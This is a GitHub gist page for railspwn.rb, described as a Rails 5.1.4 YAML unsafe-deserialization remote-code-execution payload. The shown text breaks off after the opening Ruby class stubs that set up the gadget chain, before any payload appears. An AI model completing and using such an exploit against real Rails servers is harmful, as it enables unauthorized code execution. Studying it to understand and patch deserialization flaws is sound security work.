Skip to content

Instantly share code, notes, and snippets.

View zpv's full-sized avatar
🔨
building

Steven Zhao zpv

🔨
building
View GitHub Profile
@zpv
zpv / railspwn.rb
Created May 9, 2019 18:47 — forked from niklasb/railspwn.rb
Rails 5.1.4 YAML unsafe deserialization RCE payload
require 'yaml'
require 'base64'
require 'erb'
class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy